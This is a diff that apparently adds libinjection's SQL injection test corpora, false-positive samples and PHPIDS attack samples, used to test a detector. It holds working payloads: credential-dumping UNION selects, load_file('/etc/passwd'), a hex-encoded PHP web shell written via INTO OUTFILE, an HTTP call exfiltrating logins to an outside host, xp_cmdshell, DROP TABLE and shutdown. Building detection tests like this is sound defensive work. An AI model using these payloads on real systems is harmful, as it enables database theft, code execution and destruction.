+%2FSEARCH%2FHANDMADE%2FPLANTS_AND_EDIBLES%3FSEARCH_SUBMIT%3D%26Q%3D%22SET%2BOF%2B6%22%26MAX%3D18%26ORDER%3DMOST_RELEVANT%26SHIP_TO%3DUS%26VIEW_TYPE%3DGALLERY +%2FSEARCH%2FVINTAGE%3FSEARCH_SUBMIT%3D%26Q%3D%22TABLE%2BLAMP%22%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS%26PAGE%3D10 +%2FSEARCH%2FHANDMADE%3FSEARCH_SUBMIT%3D%26Q%3DSHABBY%2B%22AND%2BWHITE%22%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS%26PAGE%3D6 +%2FSEARCH_RESULTS.PHP%3FINCLUDES%5B0%5D%3DTAGS%26SEARCH_QUERY%3DSILVER%2BCHAIN%2B20%22%26FILTER%5B0%5D%3DSUPPLIES +%2FSEARCH_RESULTS.PHP%3FINCLUDES%5B0%5D%3DTAGS%26SEARCH_QUERY%3DWALDORF%2BDOLLS%2B16%22%26FILTER%5B0%5D%3DVINTAGE +%2FSEARCH_RESULTS.PHP%3FINCLUDES%5B0%5D%3DTAGS%26SEARCH_QUERY%3DWALDORF%2BDOLLS%2B16%22%26FILTER%3DVINTAGE +%2FSEARCH%2FHANDMADE%3FQ%3DYELLOW%2BPHOTOGRAPHY%2BBACKDROP%2B%2B-3%27%2B-4%27%2B-DIGITAL%2B-MINI%26VIEW_TYPE%3DGALLERY +HTTP%3A%2F%2FDEEDEECAMPBELL.BLOGSPOT.COM%2F2011%2F12%2FHAPPY-SNOWMAN-TAG.HTML%3FUTM_SOURCE%3DFEEDBURNER%26UTM_MEDIUM%3DFEED%26UTM_CAMPAIGN%3DFEED%3A%2BSCRAPPINWITHDEEDEE%2B%28SCRAPPIN%27%2BWITH%2BDEEDEE%29 +RECLAIMED%20WOOD%22%20%2B%20%22SIGN%22%20%2B%20%22PRIMITIVE%22 +%22MOD%22%20%22 +/SEARCH/HANDMADE%3FSEARCH_SUBMIT%3D%26Q%3D%22MOD%22%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS%26PAGE%3D14 +/SEARCH%3FSEARCH_SUBMIT%3D%26Q%3D36%22%2BX%2B48%2B%22%2BFRAME%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS +DO%20OR%20NOT%20DO +DO%20OR%20NOT%20DO%2C +9%216%2BEARINGS +%22NOT+GAY+AS+I +%22+-+%22MAGAZINE%22 +FAITES+UN+TOUR+SUR+NOTRE+NOUVELLE+%3CBR+%2F%3E%3CA+HREF%3D%22%2FAPPS%2F%22%3EGALERIE+D%27APPLICATIONS%3C%2FA%3E%21 +RENCONTREZ+DES+PERSONNES+AVEC+QUI+VOUS+AVEZ+DES+INTRTS+COMMUNS+ET+COLLABOREZ+AVEC+EUX.+TROUVEZ+DES+TEAMS+LOCAUX++REJOINDRE+SUR+LA+%3CA+HREF%3D%22%2FTEAMS%2F%22%3EPAGE+DES+TEAMS%3C%2FA%3E +FHFUIVJGUJOKKIIKIIOJKK%5BI%5B%27%3D%5C%5D%3D-%5DL%3B/... +%27-%228 +%27-%228%20TRACK%22 +%27-%228%20TRACK%20PL +2%20got%20%40AOL.COM +L%3BIN%20TABLE%20RUNNER +OW%3BCAST%20IRON%20TRIVETS +/SEARCH/HANDMADE%3FSEARCH_SUBMIT%3D%26REF%3DAUTO%26Q%3DPICTURES%2BFRENCH%2B11%22%2B-%2B14%22%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS +SET%208%20-MINI%20AS +1/4%22-1/2RIBBON +1/4%22-1/RIBBON +PHILLIPKEEGAN-777-%40HOTMAIL.COM +AUG%2B15%2BKEYS +%22foo%22+AND+%22bar%22+AND +%22foo%22+AND+%22bar%22 +%22WILD+OLIVE%22+%2B+%22YELLOW+CHERRIES%22 +%22WHITE%22+%2B+%22PLATE%22+%2B+%22POTTERY%22 +FOO+BAR%27%23+BLAH +5%2F8%2BLOOP +CONNECTORS+%2B+2-PRONG +50%2BSIZE%2B36%2B%287%2F8%2BINCH%29%2BCOVER%2BBUTTONS +50PCS%2BANTIQUE%2BBRONZE%2BFINISH%2BCONNECTORS%2B8MM%2B%280633%29 +32%2BKRAFT%2BBROWN%2B%22HANDMADE%22%2BSTICKER +25%2BSIZE%2B36%2B%287%2F8%2BINCH%29%2BCOVER%2BBUTTONS +%281156-MG%29%2BNEW%2BMATTE%2BGOLD%2BPLATED%2BTEXTURED%2BLINKED%2B3-RING%2BPENDANTS +%22CROSS+STITCH%22+%2B+%22TREE+SKIRT +%2FSEARCH%3FQ%3D15%22%2BLAPTOP%2BCASE%26PAGE%3D6 +%2BIPHONE%2B4%2BCASE +%22TERRACE%22++-++1932++-++WM.+ROGERS+MFG.+CO. +%22ATEAM%22+AND+AND+%22GIFT+CERTIFICATE%22 +%22CLIP+ON%22+-EARRING%2A+-SWEATER+-SHOE%2A+-TIE%2A+-EPHEMERA+-CUFFLINK%2A+-HAIR+-BARRETTE%2A+-DRESS%2A+-BROOCH%2A+-PIN%2A+-MONEY+-PRINT +4%2FABKDFAY1YORLFIM6NZYU8DTZP1-1 +%2FSEARCH%2FHANDMADE%3FSEARCH_SUBMIT%3D%26Q%3DPIN%2B%22AS%2BIS%22%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS +%2FSEARCH%2FHANDMADE%3FSEARCH_SUBMIT%3D%26Q%3D%22AND%2BWHEN%2BTHE%2BKIDS%2BARE%2BOLD%2BENOUGH%22%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS +THING%2B1%2BAND%2BTHING%2B2 +1Q9D819XMTILZVG1BOBY27-4-ROW +NOT+AS+SAD+AS+I+USED+TO+BE +NOT+AS+SAD+AS+I +IPHONE%2B4%2BCASE%2BRUSSIAN +COPPER%2B20%2BROUND +CASE+FOR+KINDLE+WITH+KEYBOARD +%2FSEARCH%2FHANDMADE%3FSEARCH_SUBMIT%3D%26Q%3D%22LIKE%22%2BSTAMP%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS +MISTERGLAS.DK%27%2A%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27 +BIRTHDAY%2B12%2BMONTH%2B +6R2OS3JNSM-48-IN-0ZENVYLUJJL +14+1%2F2%22+-+USUALLY+FOR+3+MONTHS+TO+6+MONTHS +XVPG_TLIHBUY60_ZHXPSA-4-PI-P +GALLERY%3D1%3D5 +I+%3C3+%3C3 +I+%3C3+%3C3+THE+DOCTOR +SIZE%2B36%2B%287%2F8%2BINCH%29%2BCOVER%2BBUTTONS%2BSTARTER%2BKIT +4%7C28940%7C10142125%7C6003940396642%7C6003940506642%7C%7C%7CTC%7C%7CC%7C%7C%7C +-3-B39RBBO58YMVIHEVAUZBS-6TF +.75+%22+X+1.5%22 +"SIGNAL LOCK" +3 TABLE LAMP WITH FLOWERS +9483773&REFERRING_LISTING_ID=62611583&REF=LS_CONTACT_BOTTOM +1950 UNION MADE +EWELRY; __UTMC=111461200; __UTMB=111461200.37.10.13431224 +1 AND A1/2 INCH LIME GREEN GROSGRAIN RIBBON +3271888&SR=1-1-SPELL&KEYWORDS=LEGAND+POSTER +SHELL IS 65 AND 35 POLY COTTON BLEND +Y; __UTMC=111461200; __UTMB=111461200.29.10.1342974283 +5EOR-5MDKFIKK50HAHCPYPUVLG-2 +LISTING-PRICE"> P="L TING-PRICE"> foo.com + + +# bogus +1alert(1) + +foo 'null' bar +User(foo),junk +User(login_name),Images(url_170x135) +mr and mrs table sign +USPS 1-3 Day (USPS doesn't guarantee 3 day arrival) +foo or bar add 1 +Apt is gated; call when you get here, and we'll come down to get it. +DaVi - Open and Close Your Blinds With Your Phone! +Foo and 80's Foo / Bar +Work Time (Rosewood, Lavender, Bergamot, Grapefruit) Recommended +Same as reward #1 however +foobar sent you 1 message about +4.7" & iPhone 6 Plus 5.5 +Family and friends having meal outdoors +1-- + +# ht/@FluxReiners +'-(1 or 1) and 1=0 union select load_file('/etc/passwd'),credit_card,password from users-- - +'-(-1 or -1) and 1=0 union +'-(-(1) or -1) and 1=0 union +'-((1) or -1) and 1=0 union + +# https://twitter.com/dsrbr/status/342132003270959104 +-1 union select null, listagg(login || ':' || pass,', ') within group (order by login) from users; +-1 union select null, xmlagg(xmlelement("user",login || ':' || pass).getStringVal() from users; +-1 union select null, stragg(login || ':' || pass ||', ') from users; + +-1 union select listagg(login || ':' || pass,', ') within group (order by login) from users; + +#ht ivan +users.id%0D%0A%23asd%0D%0Aunion%0D%0A%23asd%0D%0Aselect%0D%0A%23asd%0D%0A--a-%0D%0A%23aaa%0D%0Aaa+%0D%0A%23asd%0D%0A--a-%0D%0A%23aaa%0D%0Afrom%0D%0A%23asd%0D%0A--a-%0D%0A%23aaa%0D%0Aasdasd + +# http://samincube.blogspot.ru/2013/06/time-based-sqli-on-google-coupon.html +1'=sleep(1)='1 + +# https://twitter.com/dsrbr/status/343017094926962691 +1 and select (utl_http.request('http://client9.com/') || select listagg(login || chr(58) || pass || ', ') within group (order by login) from dual) is not null; + +# https://twitter.com/dsrbr/status/341228356936814592 +-1 union select top 1 null, lead(pass, 0) over (order by pass) from users; + +# https://twitter.com/dsrbr/status/340018970054766592 +-1 union select null, array_to_json(array_agg(users))::text from users limit 1; +1 and (select array_to_json(array_agg(users))::text::bool from users limit 1; + +# http://www.exploit-db.com/exploits/25915/ +' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b227272225d293b3f3e,null,null,null,null,null,null,null,null,null,null,null,null,null INTO OUTFILE 'afile.php' + +# http://blog.detectify.com/post/51651525114/the-ultimate-sql-injection-payload +IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/ + +# misc secondary sql statements +1 and true; BEGIN DECLARE @xy varchar(8000) +1; BEGIN DECLARE @xy varchar(8000) +x' and 1 = 0; BEGIN DECLARE +x' AND 1=0; DROP TABLE TMP_DB; +' AND 1=0; DECLARE @S VARCHAR(4000) SET @S + +' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE + +# https://twitter.com/st1ll_di3/status/344416764949561346 +# http://pastebin.com/Ymcs7nE0 +(--- 0)'=(currenT_user()-3) union select 1,2,3 from users; -- - + +# example from http://www.websec.ca/kb/sql_injection +1=1 AND-+-+-+-+~~((1)) + +# the bizarre sp_password hackery +1-- foo sp_password +1'--sp_password + +# nice ms-access, courtesy mod-security +foo' Eqv StrComp(username, 0x12+0x34+0xab+0xcd,0) Imp 'a + +# mysql and pgsql string litterals +b'1' UNION SELECT 1 +x'1' UNION SELECT 1 +n'1' UNION SELECT 1 + +# ending clauses +1 having 1 limit 1 union select 1-- +1 having (1) limit 1 union select 1-- +1 having -(1) limit 1 union select 1-- +1 having sin(1) limit 1 union select 1-- +1 having 1 limit 2 group by 3 union select 1-- +1 group by 2 union select 1 -- +sin(1) group by 1 union select 1-- +@version group by 1 union select 1-- +@version group by (-1) union select 1-- +(@version) group by -1 union select 1-- +(@version) group by (-1) union select 1-- +(@version)) group by (-1) union select 1-- +(1)) group by (-1) union select 1-- +(@version) group by sin(-1) union select 1-- +1 group by sin(1) union select 1-- +1 group by 1 - sin(1) union select 1-- +1 group by (sin(1)) union select 1-- +-1 group by -(-sin(1)) union select 1-- +sin(1) group by (-sin(1)) union select 1-- +sin(1)-1 group by (-sin(1)) union select 1-- +sin(1)-1 group by 1 union select 1-- +1 group by ((1)) union select 1-- +1 group by (((1))) union select 1-- +((1)) group by (1) union select 1-- +(1) group by ((1)) union select 1-- +(1) group by (1) union select 1-- + +# more with 'having' +-(1) is not unknown having 1 order by 1 limit 1 for update UNION select table_name from information_schema.tables limit 1 +-(1) is not unknown UNION select table_name from information_schema.tables limit 1 +-(1) is not unknown for update UNION select table_name from information_schema.tables limit 1 +-(1) is not unknown having 1 order by 1 limit 1 UNION select table_name from information_schema.tables limit 1 +-(1) is not unknown having 1 UNION select table_name from information_schema.tables limit 1 +-(1) is not unknown UNION select table_name from information_schema.tables limit 1 +-(1) is not unknown having 1 UNION select table_name from information_schema.tables limit 1 +-(1) is unknown having 1 UNION select table_name from information_schema.tables limit 1 +-(1) for update UNION select table_name from information_schema.tables limit 1 +1 for update UNION select table_name from information_schema.tables limit 1 + +-(1) for update UNION select table_name from information_schema.tables limit 1 +-(true) for update UNION select table_name from information_schema.tables limit 1 +-(null) for update UNION select table_name from information_schema.tables limit 1 +-(\N) for update UNION select table_name from information_schema.tables limit 1 +-(\N) for update having true UNION select table_name from information_schema.tables limit 1 +-(\N) for update having 1 UNION select table_name from information_schema.tables limit 1 +-(1) for update having 1 UNION select table_name from information_schema.tables limit 1 +-(1) having 1 for updateUNION select table_name from information_schema.tables limit 1 +-(1) having 1 for update UNION select table_name from information_schema.tables limit 1 +-(1) having 1 for update UNION select table_name from information_schema.tables limit 1 + +\''; DROP TABLE users; -- +\''); DROP TABLE users; -- +\''; /* one */ ;DROP TABLE users; -- +\''; select 1; drop table users; -- +1; USE master; EXEC xp_cmdshell 'copy c:\SQLbcks\AdvWorks.bck +1; EXECUTE AS LOGIN 'root'; GO xp_cmdshell 'whoami.exe' ; REVERT ; +1; USE master; EXEC xp_cmdshell 'copy c:\SQLbcks\AdvWorks.bck +1); USE master; EXEC xp_cmdshell 'copy c:\SQLbcks\AdvWorks.bck + +EXEC sp_add_job @job_name = 'TestJob'; +EXECUTE sp_add_job @job_name = 'TestJob'; +1;EXECUTE sp_add_job @job_name = 'TestJob'; +1;print 'foo'; exec xp_cmdshell 'destroy'; + +# nested sub-selects +-1 - (select (1 - select (select 1))) union all select 2 -- +-1 - (select 1) - union all select 2 -- +(select 1) - 1 union all select 2 -- +((select 1) - 1) + (select 1) union all select 2 -- +(select (select (select 1))) union all select 2 -- +(select (select (select 1))) union all select 2 -- +(select ((select (select 1))) union all select 2 -- +(select (select ((select 1))) union all select 2 -- +(select ((select 1 - (select 1))) union all select 2 -- +(select (select (((select 1))) union all select 2 -- +(select ((select (select 1))) union all select 2 -- +(select (((select (select 1))) union all select 2 -- +(select (select (1 - select 1))) union all select 2 -- +(select (select 1 - (select 1))) union all select 2 -- +(select 1 - (select 1 - (select 1))) union all select 2 -- + +# moar unions +-1 union distinct select table_name from information_schema.tables +-1 union distinct all select table_name from information_schema.tables +-1 union all distinct select table_name from information_schema.tables +-1 union all select table_name from information_schema.tables + +# more +if(1, -1, 2) union select table_name from information_schema.tables limit 1 +if((1), -1, 2) union select table_name from information_schema.tables limit 1 +if(1=2, -1, 2) union select table_name from information_schema.tables limit 1 +true in(2, (select 2)) union select table_name from information_schema.tables limit 1 +true in(2, 1) union select table_name from information_schema.tables limit 1 + +# +-1 union select current_user``union select table_name from information_schema.tables + +if(1, 1, 2) union select 3 +if(sin(1), 1, 2) union select 3 +if(1, sin(1), 2) union select 3 +if(1 - sin(1), 2) union select 3 +if((1), 1, 2) union select 3 +if(-(1), 1, 2) union select 3 + +# +1; if exists ( /* anything */ + +# these aren't SQL but close enough +union (select 1)-- +union all (select 1)-- +union all (select distinct 1)-- +union (select 1,2,3,4,5)-- +union (select -1,2,3,4,5)-- +union (select -(1),2,3,4,5)-- +union (select -sin(1),2,3,4,5)-- +1;call p(@version, @a) +1;load data infile "foo" +1;load xml infile "foo" +1;load xml local infile "foo" +1;load xml low_priority infile "foo" +1;load xml concurrent infile "foo" +1; delete from foo +1; delete low_priority from foo +1; delete quick from foo +1; delete ignore from foo + + +1;do (1=1) + +-0b01 for update union select table_name from information_schema.tables limit 1 +binary _latin1 'true' COLLATE latin1_german2_ci is not unknown union select table_name from information_schema.tables +binary true COLLATE latin1_german2_ci union select table_name from information_schema.tables +12 union select table_name from information_schema.tables limit 1 +binary 1 < binary 2 > binary 3 union select table_name from information_schema.tables limit 1 + +binary (false) union select table_name from information_schema.tables limit 1 +1 - binary (false) union select table_name from information_schema.tables limit 1 +1 - (binary (false)) union select table_name from information_schema.tables limit 1 +binary binary 1 union select table_name from information_schema.tables +binary -1 union select table_name from information_schema.tables +binary -(1) union select table_name from information_schema.tables +binary (binary 1) union select table_name from information_schema.tables +binary (binary 1) union select table_name from information_schema.tables + +# werid slash escaping in Older T-SQL databases +# http://websec.ca/kb/sql_injection#MSSQL_Allowed_Intermediary_Chars_AND-OR +\1=\1AND\1=\1; + +# more weird T-SQL weirdness +\%250=\-1AND\*1=\/1 + +# mysql +-1 procedure analyse() union select table_name from information_schema.tables limit 1 + +# HT @FluxReiners +(1)mod @a or 1 union select load_file('/etc/passwd'),credit_card,passwd from users-- - +@a mod (1) or 1 union select load_file('/etc/passwd'),credit_card,passwd from users-- - + +# HT @LightOS +# issue here is how '1gfsdg..' is processed. +# MySQL parses it as a single word, other databases treat it as "1", "gfs..." +-1 procedure analyse(1gfsdgfds, sfg) union select table_name from information_schema.tables limit 1 + +# HT @FluxReiners +(select 1 foo) union select load_file('foo'); + +# +# Anonymous from Research Institution of Telecom in Beijing, China +# commenting out since i have no idea how this could be a true SQL injection +#=1 union select admin,pass from admin limit 1 +#=1 union select 1,2,3,4,5,6 + +# problems with type-casting, and nested type casting +# +# credit: Reto Ischi +# +'s' || binary(1)# and n='foo" +1 - binary (1 - binary(1)) UNION SELECT 2 -- +1 - binary (binary(1) -1) UNION SELECT 2 -- +binary (1 - binary(1)) UNION SELECT 2 -- +binary (binary(1) - 1) UNION SELECT 2 -- +binary (binary(1)) UNION SELECT 2 -- + +# +# Padding using between operator +# +(1 between @version and "2") & 1 UNION SELECT 1 +(1 between @version and @user) & 1 UNION SELECT 1 +(1 between 1 and @version) & 1 UNION SELECT 1 +(1 between '1' and @version) & 1 UNION SELECT 1 +(1 between 1 and 2) & 1 UNION SELECT 1 +(1 between '1' and '2') & 1 UNION SELECT 1 +(1 between 1 and '2') & 1 UNION SELECT 1 +(1 between '1' and 2) & 1 UNION SELECT 1 +('1' between '1' and '2') & 1 UNION SELECT 1 +(@version between '1' and '2') & 1 UNION SELECT 1 +(@version between 1 and '2') & 1 UNION SELECT 1 + +# +# ANY and SOME subqueries +# +1 - ANY(SELECT 1,2) +ANY(SELECT 1) - 1 UNION ALL -- +ANY(SELECT (1)) - 1 UNION ALL -- +ANY((SELECT 1)) - 1 UNION ALL -- +1 - ANY(SELECT 1) UNION ALL -- + +# +# embedded %A0 mysql +# +1%A0UNION%A0SELECT%A02-- +1%00UNION%00SELECT%002-- + +# +# http://www.exploit-db.com/exploits/28854/ +# +stringindatasetchoosen%25' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%25dministrator' and rownum<=1 and PASSWORD like '0%25') and '1%25'='1 + +# +# Thanks to @rsalgado +# A degenerate MySQL ODBC case +# +-{``.``.id} union select table_name FROM information_schema.tables LIMIT 1 diff --git a/apps/cli/vendor/libinjection/data/sqli-phpids.txt b/apps/cli/vendor/libinjection/data/sqli-phpids.txt new file mode 100644 index 00000000..c3700db6 --- /dev/null +++ b/apps/cli/vendor/libinjection/data/sqli-phpids.txt @@ -0,0 +1,275 @@ +# +# Various samples from PHPIDS +# +%22+OR+1%3D1%23 +%3B+DROP+table+Users+-- +admin%27-- +SELECT+%2F%2A%2132302+1%2F0%2C+%2A%2F+1+FROM+tablename +10%3BDROP+members+-- +SELECT+CHAR%280x66%29 +SELECT+LOAD_FILE%280x633A5C626F6F742E696E69%29 +EXEC%28%40stored_proc+%40param%29 +chr%2811%29%7C%7Cchr%2812%29%7C%7Cchar%2813%29 +1+or+name+like+%27%25%27 +1+OR+%271%27%21%3D0 +1+OR+ASCII%282%29+%3D+ASCII%282%29 +1%27+OR+1%26%221 +1%27+OR+%271%27+XOR+%270 +1+OR%2B1%3D1 +1+OR%2B%281%29%3D%281%29 +aaa%27+or+%281%29%3D%281%29+%23%21asd +aaa%27+OR+%281%29+IS+NOT+NULL+%23%21asd +a%27+or+1%3D%271 +asd%27+union+%28select+username%2Cpassword+from+admins%29+where+id%3D%271 +1%27%3B+WAITFOR+TIME+%2717%3A48%3A00+%27+shutdown+--+-a +1%27%3B+anything%3A+goto+anything+--+-a +%27+%3D%2B+%27 +asd%27+%3D-+%28-%27asd%27%29+--+-a +aa%22in%2B+%28%22aa%22%29+or+-1+%21%3D+%220 +aa%22+%3D%2B+-+%220++ +aa%27+LIKE+0+--+-a +aa%27+LIKE+md5%281%29+or+%271 +aa%27+REGEXP-+md5%281%29+or+%271 +aa%27+DIV%401+%3D+0+or+%271 +aa%27+XOR-+column+%21%3D+-%270 +union+select+password+from+users+where+1 +str%27%3Dversion%28%29%0A%09%09%09%09%09%09UNION%23%0A%09%09%09%09%09%09%23%0A%09%09%09%09%09%09%23%0A%09%09%09%09%09%09%23%0A%09%09%09%09%09%09SELECT+group_concat%28table_name%29%23%0A%09%09%09%09%09%09%23%23%0A%09%09%09%09%09%09%2F%2A%21FROM%2A%2F+information_schema.tables+WHERE+%271 +asd%22or-1%3D%22-1 +asd%22or%211%3D%22%211 +asd%22or%21%281%29%3D%221 +asd%22or%401%3D%22%401 +asd%22or-1+XOR%220 +asd%22+or+ascii%281%29%3D%2249 +asd%22+or+md5%281%29%5E%221 +asd%22+or+table.column%5E%221 +asd%22+or+%40%40version%5E%220 +asd%22+or+%40%40global.hot_cache.key_buffer_size%5E%221 +1%22OR%21%22a +1%22OR%21%220 +1%22OR-%221 +1%22OR%40%221%22+IS+NULL+%231+%21+%28with+unfiltered+comment+by+tx+%3B%29 +1%22OR%21%28false%29+%231+%21 +1%22OR-%28true%29+%23a+%21 +1%22+INTO+OUTFILE+%22C%3A%2Fwebserver%2Fwww%2Freadme.php +asd%27+or+md5%285%29%5E%271+ +asd%27+or+column%5E%27-1+ +asd%27+or+true+--+a +%5C%22asd%22+or+1%3D%221 +a+1%27+or+if%28-1%3D-1%2Ctrue%2Cfalse%29%23%21 +aa%5C%5C%22aaa%27+or+%271 +%27+or+id%3D+1+having+1+%231+%21 +%27+or+id%3D+2-1+having+1+%231+%21 +aa%27or+null+is+null+%23%28 +aa%27or+current_user%21%3D%27+1 +aa%27or+BINARY+1%3D+%271 +aa%27or+LOCALTIME%21%3D%270 +aa%27like-%27aa +aa%27is%5CN%7C%21%27 +%27is%5CN-%21%27 +asd%27%7Ccolumn%26%26%271 +asd%27%7Ccolumn%21%3D%27 +aa%27or+column%3Dcolumn+--+%23aa +aa%27or+column%2Acolumn%21%3D%270 +aa%27or+column+like+column+--+%23a +0%27%2Acolumn+is+%5CN+-+%271 +1%27%2Acolumn+is+%5CN+or+%271 +1%27%2A%40a+is+%5CN+-+%27 +1%27%2A%40a+is+%5CN+or+%271 +1%27+-1+or%2B1%3D+%27%2B1+ +1%27+-1+-+column+or+%271+ +1%27+-1+or+%271 ++%281%29or%281%29%3D%281%29+ +fo%22o%27or%271 +%27+OR+UserID+IS+NOT+2 +%27+OR+UserID+IS+NOT+NULL +%27+OR+UserID+%3E+1 +%27++OR+UserID+RLIKE++%27.%2B%27+ +%27OR+UserID+%3C%3E+2 +1%27+union+%28select+password+from+users%29+--+-a +1%27+union+%28select%271%27%2C%272%27%2Cpassword+from+users%29+--+-a +1%27+union+all+%28select%271%27%2Cpassword+from+users%29+--+-a +aa%27%21%3D%271 +aa%27%21%3D%7E%271 +aa%27%3D%28%27aa%27%29%23%28 +aa%27%7C%2B%271 +aa%27%7C%21%27aa +aa%27%5E%21%27aa+ +abc%27+%3D+%21%21%270 +abc%27+%3D+%21%21%21%21%270 +abc%27+%3D+%21%21%21%21%21%21%21%21%21%21%21%21%21%21%270 +abc%27+%3D+%210+%3D+%21%21%270 +abc%27+%3D+%210+%21%3D+%21%21%21%270 +abc%27+%3D+%21%2B0+%21%3D+%21%270+ +aa%27%3D%2B%271 +%27%3Bif+1%3D1+drop+database+test--+-a +%27%3Bif+1%3D1+drop+table+users--+-a +%27%3Bif+1%3D1+shutdown--+-a +%27%3B+while+1%3D1+shutdown--+-a +%27%3B+begin+shutdown+end--+-a+ +%27%2BCOALESCE%28%27admin%27%29+and+1+%3D+%211+div+1%2B%27 +%27%2BCOALESCE%28%27admin%27%29+and+%40%40version+%3D+%211+div+1%2B%27 +%27%2BCOALESCE%28%27admin%27%29+and+%40%40version+%3D+%21%40%40version+div+%40%40version%2B%27 +%27%2BCOALESCE%28%27admin%27%29+and+1+%3D%2B1+%3D+%21true+div+%40%40version%2B%27 +foo%27div+count%28select%60pass%60from%28users%29where+mid%28pass%2C1%2C1%29rlike+lower%28conv%2810%2Cpi%28%29%2Api%28%29%2Cpi%28%29%2Api%28%29%29%29+%29-%270 +1-%23canvas%0A++++++++++++++++++++++++%28SELECT+1%2A1+from%28information_schema.tables%29+group+by+table_name+having+-+left%28hex%28table_name%29%2Ctrue%29+%3D+-7%29 +str%23%27+UNION+SELECT+group_concat%28table_name%29%0A++++++++++++++++++++++++FROM%60information_schema%60.tables +aa%27in+%280%29%23%28 +aa%27%21%3Dascii%281%29%23%28 +%27+or+SOUNDEX+%281%29+%21%3D+%270 +aa%27RLIKE+BINARY+0%23%28 +aa%27or+column%21%3D%271 +aa%27or+column+DIV+0+%3D0+%23 +aa%27or+column%2B%281%29%3D%271 +aa%27or+0%21%3D%270 +aa%27LIKE%270 +aa%27or+id+%3D%27%5C%27 +1%27%3Bdeclare+%40%23+int%3Bshutdown%3Bset+%40%23+%3D+%271 +1%27%3Bdeclare+%40%40+int%3Bshutdown%3Bset+%40%40+%3D+%271 +asd%27+or+column%26%26%271 +asd%27+or+column%3D+%211+and%2B1%3D%271 +aa%27%21%3Dascii%281%29+or-1%3D-%271 +a%27IS+NOT+NULL+or%2B1%3D%2B%271 +aa%27in%28%27aa%27%29+or-1%21%3D%270 +aa%27+or+column%3D%2B%211+%231 +aa%27+SOUNDS+like%2B%271 +aa%27+REGEXP%2B%270 +aa%27+like%2B%270 +-1%27%3D-%27%2B1 +%27%3D%2B%27 +aa%27+or+stringcolumn%3D+%2B%211+%231+ +aa%27+or+anycolumn+%5E+-%271 +aa%27+or+intcolumn+%26%26+%271 +asd%27+or+column%26%26%271 +asd%27+or+column%3D+%211+and%2B1%3D%271 +aa%27+or+column%3D%2B%211+%231 +aa%27IS+NOT+NULL+or%2B1%5E%2B%270 +aa%27IS+NOT+NULL+or+%2B1-1+xor%270 +aa%27IS+NOT+NULL+or%2B2-1-1-1+%21%3D%270 +aa%27%7C1%2B1%3D%282%29Or%281%29%3D%271 +aa%27%7C3%21%3D%274 +aa%27%7Cascii%281%29%2B1%21%3D%271 +aa%27%7CLOCALTIME%2A0%21%3D%271+ +asd%27+%7C1+%21%3D+%281%29%23aa +%27+is+99999+%3D+%27 +%27+is+0.00000000000+%3D+%27 +1%27%2Acolumn-0-%270 +1%27-%40a+or%271 +a%27-%40a%3D%40a+or%271 +aa%27+%2A%40var+or+1+SOUNDS+LIKE+%281%29%7C%271 +aa%27+%2A%40var+or+1+RLIKE+%281%29%7C%271+ +a%27+or%7Ecolumn+like+%7E1%7C%271 +%27%3C%7E%27 +a%27-1.and+%271 +aa%27%2F1+DIV+1+or%2B1%3D%2B%271+ +aa%27%260%2B1%3D%27aa +aa%27+like%280%29+%2B+1--+-a+ +aa%27%5E0%2B0%3D%270 +aa%27%5E0%2B0%2B1-1%3D%280%29--+-a +aa%27%3C3%2B1+or%2B1%3D%2B%271 +aa%27%251%2B0%3D%270 +%27%2F1%2F1%3D%27 ++aa%27%2F1+or+%271 ++aa1%27+%2A+%40a+or+%271+%27%2F1+regexp+%270 ++%27+%2F+1+%2F+1+%3D%27 ++%27%2F1%3D%27 ++aa%27%260%2B1+%3D+%27aa ++aa%27%26%2B1%3D%27aa ++aa%27%26%281%29%3D%27aa ++aa%27%5E0%2B0+%3D+%270 ++aa%27%5E0%2B0%2B1-1+%3D+%280%29--+-a ++aa%27%5E%2B-3+or%271 ++aa%27%5E0%21%3D%271 ++aa%27%5E%280%29%3D%270 ++aa%27+%3C+%283%29+or+%271 ++aa%27+%3C%3C3+or%271 ++aa%27-%2B%211+or+%271 ++aa%27-%211+like%270 ++aa%27+%25+1+or+%271 ++aa%27+%2F+%271%27+%3C+%273 ++aa%27+%2F+%2B1+%3C+%273 ++aa%27+-+%2B+%21+2+%21%3D+%2B+-+%271 ++aa%27+-+%2B+%21+1+or+%271 ++aa%27+%2F+%2B1+like+%270 ++%27+%2F+%2B+%281%29+%2F+%2B+%281%29+%3D%27 ++aa%27+%26+%2B%280%29-%281%29%3D%27aa ++aa%27+%5E%2B+-%280%29+%2B+-%280%29+%3D+%270 ++aa%27+%5E+%2B+-+3+or+%271 ++aa%27+%5E+%2B0%21%3D%271 ++aa%27+%3C+%2B3+or+%271 ++aa%27+%25+%2B1+or+%271 +aa%27or+column%2A0+like%270 +aa%27or+column%2A0%3D%270 +aa%27or+current_date%2A0 +1%27%2Fcolumn+is+not+null+-+%27+ +1%27%2Acolumn+is+not+%5CN+-+%27+ +1%27%5Ecolumn+is+not+null+-+%27+ +aa%27+is+0+or+%271 +%27+or+MATCH+username+AGAINST+%28%27%2Badmin+-a%27+IN+BOOLEAN+MODE%29%3B+--+-a +%27+or+MATCH+username+AGAINST+%28%27a%2A+-%29+-%2B+%27+IN+BOOLEAN+MODE%29%3B+--+-a +1%27%2A%40a+or+%271 +1%27%2Anull+or+%271 +1%27%2AUTC_TIME+or+%271 +1%27%2Anull+is+null+-+%27 +1%27%2A%40a+is+null+-+%27 